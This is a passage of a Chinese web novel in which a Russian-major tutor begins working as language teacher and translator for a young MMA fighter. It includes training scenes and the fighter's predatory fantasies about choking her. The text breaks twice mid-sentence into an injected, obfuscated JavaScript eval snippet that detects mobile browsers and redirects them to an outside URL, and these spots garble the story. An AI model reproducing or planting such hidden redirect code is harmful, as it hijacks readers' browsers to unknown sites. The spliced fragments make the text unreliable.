《致小天使》 3. 小天使 要不怎么说人生如戏呢。 这下可好了,人家说帮她找工作,她说不用,转头就找到他家里来了。 回想起娜斯佳的描述——小天使、可爱嘴甜....... 亲妈滤镜误人! 燕棠坐在书桌边等待,心里很尴尬。 书房内的陈设很简单,黑白色调为主,墙上挂着一排的拳套,角落里吊着一桩沉重的沙袋,只有窗台处又一抹清亮鲜活的蓝色。 那是一只栩栩如生的山雀标本,胖嘟嘟的,背脊有一片蓝色的绒毛,尾羽青蓝,腹部却是一片洁净的白。 宋郁运动完后迅速洗了个澡,走过来拉开她身边的椅子坐下,身上还带着混合薄荷香气的水汽。 燕棠的目光又落在他身上。 这是她离宋郁最近的一次,膝盖与他的腿仅有两指宽的距离,光线明亮,难得能近距离观察他的颜值。 但相比那张赏心悦目的漂亮脸蛋,高大的体型却给她带来了生理上的压迫感。 燕棠有些拘束地将椅子挪远一点。 宋郁垂眸看着她,微微一笑:“你今天很漂亮。” 佯装不熟的氛围直接被打破。 他肯定能看出她精心打扮是因为很想要这份工作。 燕棠想。 她的确很想要这份工作,而且如果有机会,燕棠还想回到那天晚上,当宋郁问是否需要她帮忙的时候,至少给一个再温和点儿的回答。 不过宋郁却并没有提及之前的事,而是迅速切入正题。 “从现在开始计时上课,但在正式开始之前,我还要单独跟你沟通需求,你有什么需要了解的,也可以提前问我。 “如你所见,我现在正在北京进行格斗训练,不出意外的话,未来几年都会在中国生活,明年会在这里念大学......” 原来宋郁以前一直生活在莫斯科,是因为训练需求才移居中国,不过教练的英文不够好,也不会俄文,训练的时候交流很不顺畅。他还正在大学里读预科,课上会学文言文和古诗词这些内容。 所以严格来说,他有两个需求,一个是家教工作,通过补习来突击两个月后的预科考试。另一个则是类似于语伴加翻译的工作,陪同他一起到俱乐部训练。 宋郁的中文水平的确很不怎么样,大概在小学二年级会拼音、认得少量中文的阶段。 除此之外,他会一些很简单的招呼用语,譬如“你好”,“吃了吗”,可能因为父亲是中国人,对亲戚之间的称呼也很熟悉,发音还算标准,只不过因为俄语中缺乏声调变化,以至于他的吐字发音还有些用力。 在这个学习阶段,生字和基础语法是最大的难题。燕棠在之前有过补课的经验,这个工作内容对她来说并不难。 她一点点教他念,手中的笔便一笔一划地写,目光侧过去,宋郁垂着眼认真看她写字。 长长的睫毛垂下,和他的发色一样是柔软的浅棕色。鼻梁高挺,微有起伏,在鼻尖处略翘,精致而不冷硬。 “明白了吗?”燕棠停下笔。 宋郁眉眼一弯,点点头,那双如同猫眼般清透的眸子透出青涩的、柔和的、甜蜜的光来。 ——确实挺招人喜欢的。 燕棠的思绪走神一秒。 时间将近,她把齐整的笔记推到他面前。 “你学得很快,很厉害。照现在的情况,只需要补习基础,再集中研究一下往年题,是有很大概率通过考试的。” “那太好了。接下来还有几个问题需要请教你,Yana老师。” 宋郁说着,从抽屉里拿出一个厚厚的本子递给她。 燕棠打开本子,发现上面是密密麻麻的连笔俄文,角落处配有两三笔的简笔图示,瞬间被那种在莫斯科交换时看不懂板书的眩晕感袭击。 本子上的笔记还算工整,但里面有很多不在日常使用范围内的专业名词。 宋郁把本子翻到其中一页,指着其中几个长句问:“这些用中文怎么说比较好?我觉得翻译软件的内容很不准确。” 燕棠以往没有接触过格斗,对相关名词并不熟悉。 一行总有一行的术语,这并不奇怪,但作为中文老师,被学生问到不明白的词时难免尴尬。 她缓缓说:“这里面有不少专业名词,我需要查一下词典。” 在她查词的时候,宋郁坦诚道:“找中文老师的事情是托我妈妈安排的,可能之前没有详细向你提过,虽然预科的考试非常重要,但我也希望聘任的对象能有效辅助我跟教练交流,而不只是聊闲天。” 燕棠听出了他的言下之意,心里微微一沉,但还是给自己争取了一下。 “我可以提前将这些词都查清楚。” “这件事听上去很困难。” “不会,我只要将他们的中文标记出来,多熟悉几遍就好。” 宋郁只不清不楚地说了句“okay”。 正当燕棠想问他是否还有别的疑虑时,吴阿姨敲了敲门,提醒他们到下课时间了。 “抱歉,我还有别的事。” 宋郁拿起手机站了起来,燕棠坐得离他近,不经意瞥见屏幕上显示有许多未读的消息。 “没关系,希望这次课对你有帮助。”她连忙说。 “你教得很好,我们可以保持联系。” 在应聘一项工作的时候,“保持联系”是个暧昧不明的概念。 它可以是一种拒绝的委婉说法,也可能表示对方还在考虑中。 燕棠清楚,像这种水平的报酬,可以找到很多看上去比她要优秀的老师,比如专业的对外汉语学生,她唯一的优势就是俄语流利,在之前有过短暂的辅导经验罢了。 悬。 这是她离开时的想法。 走到地铁口时,燕棠收到了娜斯佳的八百元转账,娜斯佳还提及后续是否继续上课,要看宋郁的意思。 之后连续一周,她都没再收到宋郁的消息。 燕棠数次打开和宋郁的对话框想要询问,但看到上次的对话,立刻泄气。 她转而再联系了一次娜斯佳。 娜斯佳很耐心地回答,说宋郁在外地比赛,带了个新翻译,也许是已经定下了老师。 不过宋郁的手机在比赛期间都由助理保管,非比赛的消息会被暂时搁置,现在没人能联系上他,等比赛结束后他也许会给她一个回复。 燕棠有些沮丧。 好在这种事她经历过太多次,默念了几遍命里无时莫强求,算是就此把这件事揭过。 她最终接下了另一份诗集翻译工作,时间很宽裕,初稿时间在明年四月,报酬虽然不如家教工作,但聊胜于无。 日子磕磕绊绊继续往前走,最糟心的还是杨一舟仍然在坚持不懈地联系她。 燕棠就不明白,不过见了几面而已,她哪儿有那么大魅力呢? “不是你的魅力大。” 表姐程惠艺跟她煲电话粥时说。 “是你不上不下乖巧好拿捏,同乡的独生女,爹妈有存款是老好人——这些条件,对一个试图在大城市立足的菜鸟精英男的魅力无比之大。除非天降一个愿意给他掏钱掏资源的白富美,他不会轻易放弃你的。” 燕棠气馁地问:“那你怎么不跟我姑说一声呢。” “老一辈都觉得互利互惠呗,那男的家里不也在北京给他买了房,工资不低嘛。” 表姐说。 “你关注的是相互理解,精神共通,在他们眼里这玩意儿不能当饭吃呀。再说了,我妈跟杨一舟的妈以前是一个单位的,她觉得那小子算半个自家人,才可劲儿往你这里推销呢。” 燕棠算是知道了,这是家里长辈怕她真混不出名堂,以后孤苦无依,要给她找个看上去还不错的保障。 可这年头,一个人只要有手有脚,怎么会吃不了饭? 她对杨一舟的态度更加坚决了,在对方锲而不舍打来第N个电话的时候,怒气冲冲地接通。 “这种事情是你情我愿的,说了不想继续,你别再骚扰我!” 电话那头安静了两秒,响起了另一道令她意想不到的声音。 “听上去你好像很生气。”那人用清冽的嗓音说着俄文。 足足过了十秒钟,燕棠才反应过来,“宋郁?” “是我,之前你留下过你的电话,现在方便通话吗?我想聊聊家教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858209|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情。” 燕棠听到“家教”两个字,不由得屏住了呼吸。 “很抱歉,这两周我在外地参加比赛,手机一直保管在助理手上。你什么时候能开始上课?当然越快越好,如果你需要几天准备也没问题。” “我以为你已经定下了人选,你妈妈说.......” 这个消息有点儿突然,燕棠还在整理思绪,说话也磕磕绊绊。 “嗯?”那边的声音有些疑惑,然后意识到她指的是什么,“那位是临时聘请的翻译。” 燕棠这时已经反应过来,迅速扯过纸笔,开始计算自己的工作量。 ——毕业论文已经写完了,没有专业课,如果按照尽善尽美的标准来衡量未来的工作质量的话,同时做两份工作,她大概会非常忙。 但也会很富有。 燕棠脑子里已经开始响起金币掉落的声音。 “Yana老师,你是不是已经有了别的安排?”宋郁大概是听出了她的犹豫。 她立刻坐直身体,开口道:“我还能接下这份工作,不过可能需要三天时间准备.......” “那太好了,你还有别的要求吗?” 她想了想,“没有了。” “竟然真的没有吗,那我来提吧。” 他的声音里带上笑意。 “考虑到你需要配合我的训练做一些额外的准备工作,日薪涨到两千可以吗?如果你有什么意见,或者之后希望涨薪,随时可以跟我说。” 在听到日薪的价格时,燕棠的呼吸停滞了。 她觉得娜斯佳在某种程度上是对的。 宋郁的确是个小天使。 扇扇翅膀就掉钱的那种。 * 燕棠很快再次见到了宋郁,他特地带着协议来学校的咖啡厅见她。 她抵达时咖啡厅门口时,宋郁正坐在靠窗的位置,半支着下颌玩手机。 有女生走过去,似乎是问他要联系方式。 他抬眼,佯装听不懂英文,用俄语跟那女生鸡同鸭讲一番。 燕棠默默看着那女生悻悻离开,推开咖啡厅的玻璃门走进去。宋郁看见了她,脸上又扬起了像往常一样甜滋滋的笑。 “你受伤了?”燕棠意外地说。 她近看才注意到宋郁的额角有道血痕,一路延伸至鬓发内,生生将那张漂亮的脸蛋残忍地破坏了。 “比赛的时候留下的。”他解释,“对手照着我的脸打。” “太过分了吧。”燕棠想象着那个画面。 宋郁非常赞同:“对啊,所以我把他的脸打骨折了。” “.......” 燕棠对面部骨折缺乏想象,但光是这个词儿就足够她头皮发麻。 她也不再敢细问了,接过协议看起来。 宋郁则静静地坐在对面位置上,慢条斯理地再次打量起他的新任中文老师。 说实在话,她看上去真是一点儿都不像比他大了三四岁的样子。 素面朝天,学生打扮,说话也是轻声细语。 俄语和英语倒是都说得还不错,流利又没什么口音,似乎是不太自信,声音总是软绵绵的。 虽然看上去不是穷人,但似乎也不怎么富裕,一直在寻找兼职赚钱,还在被男人纠缠不清。 宋郁漫不经心地回想起那几条刻意保持距离的聊天记录。 哦,她胆子也很小。 对面的女孩儿看完了协议,握笔,在签字页上一笔一划写下她自己的名字。 燕——棠—— 宋郁在心中默念这两个字。 复杂的笔画,简单的人。 协议一式两份,签完字后,这份工作便算是定下了。 未来一段时间内的收入有了保障,燕棠在聊天时的声音都变得轻快。 临别前,她忍不住问:“之前.......你为什么会帮我?” 她现在相当确信他并不是那种热心的人。 然后她收到了一个出乎意料的回答。 “因为——” 宋郁撑着下颌,笑吟吟地说: “老师那时候看起来可怜兮兮的。” 4.小燕老师 燕棠很少从别人那里得到评价,因为人们懒得评价一个不上不下的人。 所谓不上不下,意味着既不过得令人艳羡,又不至于悲惨到令人同情。 人们甚至懒得注意到一个不上不下的人。 所以当宋郁露出一个并无恶意,十分纯粹的笑容,却又说她“可怜兮兮”的时候,燕棠并没有太理解其中的含义。 不过被学生用这样的词形容,她还是有点儿不好意思。 “那是质朴。”燕棠佯装淡定地纠正,并且现场教他中文怎么写。 她又用俄语说:“质朴是工人阶级的伟大品质。” 宋郁被逗笑了。 于是场面并没有变得很尴尬。 燕棠尽量遮掩她身上那种因为平庸而显得空洞的神采,以便在人前——尤其是像宋郁这样朝气蓬勃、前途无量的少年人面前的局促。 但生活里不是没有好事,比如给宋郁辅导中文的事就算正式定下来了。 两份工作捏在手上,燕棠按照紧急程度排序,先集中处理宋郁这边的事情。 辅导预科补习考试倒还好,反倒是陪同他参与训练沟通要更麻烦一些。 她花了一天半的时间,把宋郁那本关于格斗的笔记都通读了一遍,做成中英俄三语的对照版本。 这本子前面一小部分的字迹还很稚嫩,大概是宋郁小时候的字迹。 上面还有一些孩子气的小抱怨,诸如“被抱摔很疼,可妈妈说英雄不能哭”。 除此之外,另一些记录则有些令人惊愕,充满了好勇斗狠,甚至显得有些无情。 “我练习扫踢的时候让维克托休克了,我本来以为他会死。大家担忧维克托变成傻子,但他的脑子和猪本来就没有区别,否则他不应该当着我的面嘲笑我的中国血统。” 况且根据纸张磨损程度,前面这几页看上去都没被翻看过,反而是后面那些密密麻麻的正经的格斗心得有许多不同时期的补充记录。 估计就连宋郁自己都忘记他小时候曾经写过这么恶狠狠的东西。 周一早上八点半,燕棠准时登上了来接她的车,这是宋郁在合同里加上的优待条件, 她毫不意外地发现宋郁也在车上,跟他打了个招呼,在他身边坐下。 宋郁戴着蓝牙耳机,用手机看比赛视频,燕棠注意到他额角的伤痕稍微变淡了些,泛着浅红,在白皙的皮肤上还是很明显。 车内一片安静,她看向窗外。 街景变换,车很快抵达目的地。 S Monster虽然位于中关村地带,但因为外部装修低调,如果不是上次在门口碰到宋郁,燕棠还真没有注意过这家格斗俱乐部。 相比低调的外部装修,S Monster内部占地面积却很大,粗犷的工业风设计,也许是时间还早,还没有什么客人来这里训练。 “地上一层是给报课的普通会员使用的。” 宋郁带着她乘坐电梯往下。 “我们只在地下一层训练。” 电梯门叮一声打开,燕棠被眼前看到的画面惊到。 这里面积大得惊人,明亮的灯光照亮黑色八角笼、墙边吊着一排整齐的柱形沙袋、不远处是各式各样的训练器材。 娜斯佳将宋郁的格斗训练描述为“兴趣班”,燕棠以为他顶多是那类每周保持着固定训练时间的业余爱好者,出于兴趣还会参加一些比赛罢了。 但显然不是这样。 这里是供职业格斗运动员训练的场地,还有专门的会议室、营养室、理疗室。墙上挂着训练计划和赛事日程,还有一整面选手参加比赛的照片。 燕棠走到照片墙前,立刻注意到了最新的那一张。 这是宋郁的比赛照片。 八角笼中,聚光灯下,地面上的血迹或是喷溅状,或是在人体摩擦之下呈凌乱惊悚的痕迹,笼外的观众则都在振臂高呼,兴奋不已。 在原始而暴力的氛围之中,宋郁站在台上,额角的伤比现在还要狰狞,是一个豁口,淋漓的鲜血一路淌至下颌。 他却在笑着。 跟燕棠之前在他脸上见到的随性的、招人喜爱的笑不同,那是属于优胜者的、睥睨中甚至带有挑衅的笑容。 “这是我刚刚结束的比赛。” 宋郁换了一身训练衣服,递给她一张纸,是今天的训练日程。 他的需求是尽快能用中文跟教练和其他选手交流,所以燕棠需要根据他的日常单独为他制定一份常用语学习计划。 今天的日常安排得很满,有宋郁个人的恢复训练、赛事战术复盘会议,他还要给其他选手进行教学。 燕棠几乎一整天都在说话,到下午五点的时候,嗓子已经开始冒烟。 “裸绞的要点是双肘形成锁定的环形,通过对气管和颈动脉的压迫使对方失去抵抗.......” 她翻译完后,走到一边拿起杯子缓缓喝水,稍作休息。 训练台上,宋郁正在向其他人演示格斗技巧。 身体前倾,长臂一伸,右手肘内侧抵住一位选手的咽喉,左手扼住后脑。 他的语感很强,记忆力也非常好,很快记住了燕棠教他的几个关键词,这会儿也能半英半中地说话。 “加大压力。”宋郁用中文说,清朗的声音很好听,“他会窒息。” 燕棠喝水的动作一顿,惊恐地看见那个男生抽搐了一下,在宋郁松手后立刻脱力般向后仰倒。 宋郁倒是很淡定,熟练地拖住昏迷者后背,拍了拍他的脸,说了几声“relax”,那人堪堪醒过来,含糊不清地说了句:“卧......槽......” “如果力道过大,裸绞会让人休克。” 一个女孩儿忽然出现在燕棠身后,向她解释,“但宋郁的技术很好,不会有什么问题的。” 燕棠回头一看,发现是那天夜里见过的Grace。 “我叫唐蕊心,你是燕棠吧,宋郁说你是他的中文老师。”她有些不好意思地说,“上次我误以为你是追他的粉丝了,抱歉。” “没关系。”燕棠注意到她话中的另一个信息,“你说他有粉丝?” “对啊,你上外网能看到。他之前在俄罗斯的顶级格斗俱乐部Irbis MMA训练,打过M-1 Global,UFC已经在考虑跟他签约,在圈子内男粉和女粉都很多。” 唐蕊心撇了撇嘴:“我上次是为他好。他来中国训练的事情还在保密中,免得对手通过行程细节知道他在进行专项训练,提早制定出对付他的战术。” 她提起上次的事情,心里还憋着气,又嘟哝了一句:“我以前也是他的粉丝......以后我要换个人喜欢!” 燕棠惊奇地看见唐蕊心就这么靠在墙边打开社交软件,刷起了收藏夹里的肌肉男贴子。 她甚至还递给燕棠看,问:“你觉得谁更帅一点?其实我挺喜欢安德森的,他的外号叫‘小龙’。” 为了掌握那些陌生的格斗术语,燕棠这几天也看了不少格斗赛事视频。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865090|159377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一些有名气的选手会有粉丝或者媒体取的外号,但碍于资源有限,她了解的圈内八卦还不够多。 燕棠好奇地问:“宋郁也有外号吗?” “有。”唐蕊心悄悄凑在她耳边说,“他的粉丝叫他‘猎手’,但不喜欢他的人叫他‘娃娃脸’。你最好别在他面前提,他很讨厌那个外号。” “还有人不喜欢他?” “当然了。”唐蕊心冷笑一声:“你很快就会发现了,他要气人的时候能把人气死。” 她从手机里翻出了一张照片,“去年另一个被UFC看中的新人维克托就跟他关系很差,也是打轻重量级的,还经常会在社交媒体上嘴臭他,他俩迟早要对上。” 照片上的人高鼻深目,眉眼锐利,典型的斯拉夫人长相,一整个手臂都纹满了纹身,隔着照片都让人感到极其凶悍的气息。 维克托这个名字真熟悉。 燕棠猛然想起,他是宋郁的笔记本里提到的人。 现在关系不好,恐怕梁子是从小就结下了。 宋郁结束了那边的训练交流,朝她们走过来,笑着问:“聊什么呢?” 唐蕊心迅速收起手机,“不告诉你。” 然后悄悄对着燕棠做了个给嘴巴上拉链的动作。 宋郁也只是客气,并不是真的有兴趣,这会儿拿起手机回了几条消息。 一群人结伴往这里走来,是刚才围观练习的那几位,有男有女,他便一一给燕棠介绍。 教练叫唐齐,也是这家俱乐部的股东之一,唐蕊心是他的女儿,难怪她这么了解MMA。 其余的都是和俱乐部签约的职业选手,有的正在念大学,有的是高中毕业后就没有读书,被唐齐慧眼识珠,签下来培训打比赛挣钱。 红姐捏了把燕棠的脸,怜爱地说:“小燕老师你多大啦?真小一只,感觉我一拳就能打死你。” 燕棠听她语气不像是假的,下意识瞪大了眼睛,往后退了一步。 后背猛地撞上宋郁的胸口,随后被他稳稳扶住。 头顶忽然响起了笑声。 她迷惑抬头,对上宋郁的视线。他眼里泛着亮晶晶的光,含着笑意看着她。 其他人竟然也笑了,用慈爱的表情说小燕老师真可爱。 最后还是好心人唐蕊心解答了她的疑惑。 “再弱也不能输气势,她吓你,你就吓回去呗。” “害,这就是没练过胆儿。”超子说:“宋郁改天教小燕老师两招儿,从咱这俱乐部出去的全是好汉,可不能怂啊。” “就现在呗,反正是休息时间。”红姐笑嘻嘻。 于是燕棠就被大家热情地拥上了训练台。 宋郁也走了上来,坐在地面上,对她说:“就教你刚才的裸绞吧。你刚才看过我的演示了,现在对我试试。” 身体接触在格斗训练里面相当正常,可燕棠在截至目前的人生里,既没真的接触过格斗,也没接触过男孩子。 她有些紧张。 “伸出右手,上臂内侧贴住我的颈部外侧,右手掌心扣住你的左上臂,左手掌心抵住我的后脑。” 宋郁指导她。 燕棠照做。 她的手肘顶着宋郁的下巴,手臂紧贴着他的肩部,通过最直接的方式感知到少年人结实的肌肉和硬朗的骨骼。 然后发力收紧。 五秒后,不知道是哪一位围观群众忍不住了。 “小燕老师,你使点劲儿,别光是把他抱在怀里啊。” 5.他是渔夫 燕棠感觉自己的脸在发烫。 她的双臂真的有在发力,但越用力,就越像是用手臂在蹭宋郁的颈项。 手肘内侧正贴着他的咽喉,燕棠感觉到那里的喉结微微滑动,随即是一声轻笑。 她的耳朵都红透了,双臂迅速松开了宋郁,连忙说“不好意思”。 宋郁笑着起身,“没关系,你需要先进行力量训练,力气太小了,肌肉缺乏力量。” 他走到燕棠身后,让她坐下,“你可以感受一下我的发力部位。” 燕棠还没反应过来,就被他单手锁在了怀里。 纤细的脖颈被结实的肌肉紧裹,肩胛骨紧紧贴在身后人的胸肌上。 她觉得自己好像听到了宋郁沉稳的心跳,但还来不及思索,一股强劲得惊人的力道便挤压着她的咽喉和动脉,根植于生物本能的恐惧在这一刻涌上大脑。 燕棠听见自己发出了一声惊恐的低吟。 低到近乎不可闻。 也就在这时,那可怕的力道瞬间卸下。 危险浅浅略过,像猛兽伸出利爪轻巧地逗弄了一番,又慢悠悠地收了回去。 眩晕和窒息还未到来,肾上腺素已被危险刺激得飙升,心脏在前所未有地剧烈跳动,一种从未体验过的,奇异的刺激感冲撞着燕棠的神经。 她还迟迟未反应过来,靠在身后人的怀中没动。 一道有力的手掌托住了她的后背轻轻拍着,清朗的声音在耳边响起。 宋郁安抚她:“放松,没事的。” 他的目光却落在她颈项间的红痕上。 根本就没用力,竟然就把她的皮肤勒红了。 真脆弱。 他心里这么想着,便放轻了声音:“老师,是不是吓到你了?” 其他人也安慰她:“放心,他刚才只用了一点点力气,不会像超子那样晕过去的。” 还只是一点点力气? 那宋郁使尽全力该有多可怕啊....... 被他扶起来的时候,燕棠下意识看向他的手臂。 放松状态下的小臂肌肉十分紧实,掌宽指长,指骨分明,覆有明显的茧块,惊人的力量感。 燕棠诚实道:“被你勒住的时候很害怕,但现在回过神来的时候又觉得挺刺激的。” “格斗就是很刺激,老师如果感兴趣,我可以经常带你玩儿。” 那还是不了,心脏有些受不了。燕棠默默想。 教练唐齐走了过来,宣布今天的训练结束,可以回去休息了。 虽然燕棠是宋郁的翻译兼老师,但俱乐部的成员们热情地将她拉入了微信群,还在训练后拉着她和宋郁一起聚餐。 去的是家日料店,在胡同里,窄小的对开红门后别有洞天,松竹白沙,苔藓灰岩。 燕棠是个慢热的人,社交圈一直很窄,上中学时只有一两个玩得亲近的朋友,到大学后也是如此。 但这些选手们,包括被他们戏称为大小姐的唐蕊心在内,性格都相当自来熟。七八个人围坐在隔音的包厢里吃饭,愣是吃出了二三十个人的热闹。 他们吃的食物也很讲究,得低碳高蛋白,成分干净,少配料。唯二不忌口的就是燕棠和唐蕊心,两人一人一碗奶酪芝士瀑布土豆泥,所有人都对着她俩的碗流哈喇子。 除了宋郁。 “这小子简直是天选格斗士。” 教练唐齐指着宋郁碗里的生牛肉说,“其他人是不得不这么吃,只有他自己是爱吃。” 他碗里的生牛肉条细如丝,鲜红色,视觉冲击感极强。 “是甜的。”宋郁笑着说,还推荐燕棠也尝尝。 燕棠倒是吃过刺身,但没吃过这样的生牛肉,觉得这也太原始了。 但偏偏她耳根子软,在宋郁热心推荐之下,给面子地夹了一小条生肉放进嘴里。 略凉,软的,牙齿碾过肉的纤维让她有点儿头皮发麻。 不难吃,也说不上好吃。 常识中对生肉的抗拒让燕棠微微皱眉。 宋郁看着她细细咀嚼,勉强咽下。 她的唇瓣沾上了淡淡的血迹,原本有些缺乏神采的面孔鲜活起来,就像刚才在训练台上一样。 他没有提醒她擦去那一点血渍,而是之前那样静静地、心情愉悦地观赏着。 当这一天结束的时候,燕棠也快要累晕了,在回去的路上直接睡着,车抵达校门口的时候还是宋郁把她叫醒的。 “今天辛苦老师了,效果很好。” 在下车的时候,宋郁很绅士地扶住了她的手臂。 冷风一吹,燕棠清醒不少,对他说:“你才是辛苦,回去好好休息。” 她这一整天还只是动嘴说话,可宋郁却是实打实地在做体能训练、开复盘会议、和其他选手进行对战。 现在他精神头儿还这么好,只能说十八岁的男孩儿在各方面都是钻石品质。 而且燕棠今天过得还挺开心的。 今天的工作很顺利,还结识了一群开朗的人。这些新鲜的东西注入她身体里,让她原本萎靡不振的精神有了一丝难得的活力。 但不知道为什么,她遇到的好事总持续不过三分钟。 “燕棠!” 校门内走出来一个人,还是西装外套黑色羽绒服,一路小跑到她面前。 杨一舟拉住她,“你怎么这么晚还在外面?” 他迅速注意到了燕棠身边的人,猛地愣了一下,不敢置信地问:“你和这个人是什么关系?你们两个认识?” 燕棠刚才还在和宋郁说话,两人挨得近,车门还开着,显然她是刚从车上下来。 那天杨一舟还以为这个老外只是偶然路过多管闲事罢了,他承认那天说话声音大了点儿,动作也有点令人误解。 但如果燕棠认识这个人,情况就不一样了。 他们俩家里还在努力撮合呢,她跟别人搅和在一起算什么? “是我辅导补习的学生。”燕棠冷淡地说,“你来这里干什么?” 杨一舟的脸色这才迅速缓和,“你姑姑说联系不上你,怕你出事,让我来看看你。” 刚才吃饭的时候一直没看手机,燕棠这会儿点开微信一看,姑姑确实发了几条消息给她,问她什么时候有空,要带她跟杨一舟和他爸妈吃个饭。 她迟迟没回,姑姑说小杨担心你,去找你了,多好的孩子,要珍惜。 “我不是说了不想再见了吗。”燕棠皱眉。 “这是我们两家的事情,你因为那一点点事情就闹成这样,你让你爸妈和姑姑怎么办?你让我爸妈怎么想?” 杨一舟耐心也即将告罄。 “而且我说的有错吗?哪个有出息的人会在这个关键的时候去做收银员、给人补习这种乱七八糟的事情?多找找工作吧,真的是为你好。” 燕棠已经跟父母和姑姑表达过自己不喜欢杨一舟。他们问原因,她说杨一舟瞧不起她,他们让她别太敏感,瞧不起她哪会愿意和她相亲呢。 再处处,那是个不错的孩子。这是家人的建议。 爸妈思量再三,觉得燕棠很难在找到一个这种经济条件和工作能力的对象了,趁还没有真正步入社会,最好赶紧定下来,不要在细枝末节上纠结。 人生又一件大事完成,家里人也好放心。 冷风吹来,像刀子一样,割在她脸上,眼中,心头。 燕棠这才想起宋郁还没走,一抬头,发现他靠在车边看着,投来和上次一样的打量般的目光。 她心里又多生出几分窘迫。 人家年纪还小,她又是他的老师,让他看两遍这种滑稽的闹剧,实在是很不合适。 “你快回去吧。”燕棠说,“我会把今天的中文材料整理好发给你。” 宋郁能听懂的对话不多,目光一直落在她脸上。 那张在车上还红扑扑的脸,又渐渐被寒冷的空气浸得苍白。 又是那种可怜兮兮的表情。 从小到大,他经常能看见和燕棠脸上类似的神情。 在森林里狩猎时,那神情出现在垂死的猎物上。在八角笼里比赛时,那神情出现在他的对手脸上。 只要再多射出一颗子弹,再多击出一拳,就可以彻底将其从精神到身体彻底击垮。 欣赏这样的表情,是宋郁作为优胜者的乐趣之一。 尤其是当这种神情出现在燕棠脸上,他感觉到一种奇异的,可怜的美。 “需要我帮你把他赶走吗?”他用俄语问她。 燕棠微微一怔,“不用”两个字卡在喉咙中,迟迟没有吐出来。 她和宋郁对上视线,那双漂亮的眼睛,在黑夜里变成深沉剔透的金棕色。 燕棠想起佩列斯拉夫尔-扎列斯基那一片陷在如落日余晖的苏格兰松,那种绚烂的金调曾让习惯了置身于灰暗中的她感到眩晕。 “.......是的,请帮我把他赶走。”她听见自己这么说。 “不是,你们在说什么?原来这是个毛子啊。” 杨一舟知道燕棠学的是俄语,有些烦躁地要拉住她,“我们再谈谈。” 这时,宋郁走过来将她拉到身后。 一米九几的个子有着令人胆寒的压迫感。他还什么都没说,杨一舟就吓得退后了两步。 燕棠觉得有些滑稽,突然乐了。 她离得稍微有点儿远,只看见宋郁对杨一舟说了两句话,杨一舟就变了脸色,扭头匆忙离开。 “你跟他说了什么?”她问宋郁。 “没什么,他不会来找你了。” “谢谢你。”燕棠感激地说,“不好意思,麻烦你了。” 宋郁垂眸看着她,目光扫过她重新舒展的眉眼,随即她的脖颈上。颈侧那道红痕还迟迟未消去。 他伸手到燕棠身后,将她的羽绒服帽子拎起罩住她的脑袋。 “老师回去休息吧,你快被冻坏了。回去之后用毛巾冷敷一下脖子,免得出现肿胀。如果还不舒服要及时告诉我。” 少年人的声音清冽,俄语如丝绒般悦耳。 燕棠走进校门的时候又回头看了一眼,看见宋郁还姿态闲散地靠在车边,见她看过来还笑着招了招手,直到她走远了才上车离开。 手机微信很快收到一条他发来的消息。 「老师晚安。」 「小熊比心.jpg」 真不错,写的竟然是中文。 燕棠心情莫名轻快,大概是当老师的成就感吧。 「晚安,早点休息。」 她不会想到,这条简单的回复被宋郁看了很久。 窗外的夜幕低垂,树影飘摇,淡薄的月光漏进室内,裹着床上少年人修长的身体。 他回忆起下午那场短暂的接触。 纤细的骨骼,柔软的皮肤。 从小到大,宋郁见过很多女孩子。 她们总说:Kirill,我喜欢你。 每当这时,他只好说:可我不喜欢你。 有的人还会说:Kirill,我想和你上床。 他也只能告诉她们:可我不想和你上床。 当他这么回答的时候,有的女孩儿会骂他混蛋,有的会哭着问他为什么。 不为什么。 他对这个话题不感兴趣。 可现在,宋郁忽然想再一次扼住那个女孩儿的脖颈,看她真的像猎物一样被绞进他的怀中,大睁的眼睛泛着水光,脸颊弥漫上动人的嫣红。 他会不留余地发力,心跳为她而鼓噪。 而她脆弱的身体会在他怀里无力挣扎,喉中再一次发出濒死的呜咽,像他曾经杀死的猎物一样,为他的胜利而哀鸣着。 就在这一瞬间,那想象的画面忽然扭转。 他被两条嫩生生的手臂环绕着脖颈。 她的手臂是柔软的,胸口的起伏抵着他的后背,隔着单薄的衣服,他想象得到底下那件贴身衣物的质感。 凌晨四点多,宋郁从他人生第一个春梦中醒来,被单沾上腥气。 性.幻想对象,是他的中文老师。 * 第二天,燕棠怒气冲冲地起床。 杨一舟果然跟她家里告状了。说他伺候不了燕棠这样的性格。 大概是在杨一舟父母那里闹得不愉快,燕棠也被爸妈说了几句,他们让她至少去道个歉,免得之后两家碰见闹得太不好看。 燕棠装作没看见,注意力转移到工作上。 她发现这个工作要比她设想的更困难一些。 宋郁的日程实在是太满了。 他一周有两天要在大学里上预科课程,剩余时间都在进行训练,早上七点半开始,直到晚上六七点才结束。所以能够用来学习的时间只有睡前那两三个小时。 燕棠自己的语言学习经验是很笨拙的,就是苦练苦背,连睡觉都会在耳机里放录音。但宋郁的睡眠质量非常重要,否则不足以支撑他白天里高强度的日程。 于是周末两天的补习课程就显得尤其关键。 这一周内,除了陪同宋郁上课的时间外,燕棠都在重新制作教学方案,终于赶在周五前准备好。 周六吃过午饭后出发,她带着满满当当的准备成果赶到了宋郁家里。 抵达的时候,距离约定时间还有二十多分钟,宋郁还没到家,她倒是先见到了娜斯佳。 